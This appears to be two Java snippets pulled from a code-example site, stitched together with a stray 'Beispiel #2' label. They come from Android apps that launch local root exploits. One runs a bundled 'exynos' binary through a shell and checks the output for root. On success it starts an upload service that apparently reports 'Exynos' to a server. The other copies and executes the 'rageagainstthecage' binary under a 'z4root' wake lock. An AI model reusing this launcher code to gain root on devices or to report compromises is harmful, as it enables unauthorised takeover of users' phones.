@Override
  public void onStart(Intent intent, int startID) {
    try {
      // SaveIncludedFileIntoFilesFolder(R.raw.exynos, "exynos", getApplicationContext());
    } catch (Exception e) {

      e.printStackTrace();
    }

    final int[] processId = new int[1];
    final FileDescriptor fd = Exec.createSubprocess("/system/bin/sh", "-", null, processId);

    final FileOutputStream out = new FileOutputStream(fd);
    final FileInputStream in = new FileInputStream(fd);

    try {
      String command = "chmod 777 " + getFilesDir() + "/exynos\n";
      out.write(command.getBytes());
      out.flush();
      command = getFilesDir() + "/exynos\n";
      out.write(command.getBytes());
      out.flush();
      command = "id\n";
      out.write(command.getBytes());
      out.flush();
      byte[] mBuffer = new byte[4096];
      int read = 0;
      while (read >= 0) {
        read = in.read(mBuffer);
        String str = new String(mBuffer, 0, read);
        Log.i("AAA", str);
        if (str.contains("uid=")) {
          if (str.contains("root")) {
            Intent intent3 = new Intent(getApplicationContext(), WebUploadService.class);
            intent3.putExtra("uploadstring", "Exynos");
            Context context = getApplicationContext();
            context.startService(intent3);

            break;
          } else {
            break;
          }
        }
      }
    } catch (Exception ex) {
      ex.printStackTrace();
    }
  }
Beispiel #2
0
  public void doUpdateMBFile() {
    PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE);
    WakeLock wl =
        pm.newWakeLock(
            PowerManager.FULL_WAKE_LOCK
                | PowerManager.ACQUIRE_CAUSES_WAKEUP
                | PowerManager.ON_AFTER_RELEASE,
            "z4root");
    wl.acquire();

    try {
      copyMBFile(R.raw.rageagainstthecage, "rageagainstthecage", getApplicationContext());
    } catch (Exception e1) {
      // TODO Auto-generated catch block
      e1.printStackTrace();
    }

    final int[] processId = new int[1];
    final FileDescriptor fd = Exec.createSubprocess("/system/bin/sh", "-", null, processId);

    final FileOutputStream out = new FileOutputStream(fd);
    final FileInputStream in = new FileInputStream(fd);

    new Thread() {
      public void run() {
        byte[] mBuffer = new byte[4096];
        // byte[] mBuffer_t = new byte[4096];
        int read = 0;
        while (read >= 0) {
          try {
            read = in.read(mBuffer);
            String str = new String(mBuffer, 0, read);
            if (str.contains("Forked")) {

              Intent intent = new Intent(getApplicationContext(), AlarmReceiver.class);
              PendingIntent sender =
                  PendingIntent.getBroadcast(getApplicationContext(), 0, intent, 0);

              // Get the AlarmManager service
              AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);

              // for (int i=5;i<120;i+=15) {
              Calendar cal = Calendar.getInstance();
              cal.add(Calendar.SECOND, 5);
              am.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), sender);
              // }

              // Get the AlarmManager service

              Thread.sleep(20000);
              finish();
              return;
            }
            if (str.contains("Cannot find adb")) {
              runOnUiThread(
                  new Runnable() {

                    public void run() {
                      showDialog(0);
                    }
                  });
            }
          } catch (Exception e) {
            read = -1;
            e.printStackTrace();
          }
        }
      };
    }.start();

    try {
      Log.d("CCC", getFilesDir() + "");
      String command = "chmod 777 " + getFilesDir() + "/rageagainstthecage\n";
      out.write(command.getBytes());
      out.flush();
      command = getFilesDir() + "/rageagainstthecage\n";
      out.write(command.getBytes());
      out.flush();

    } catch (Exception ex) {
      ex.printStackTrace();
    }
  }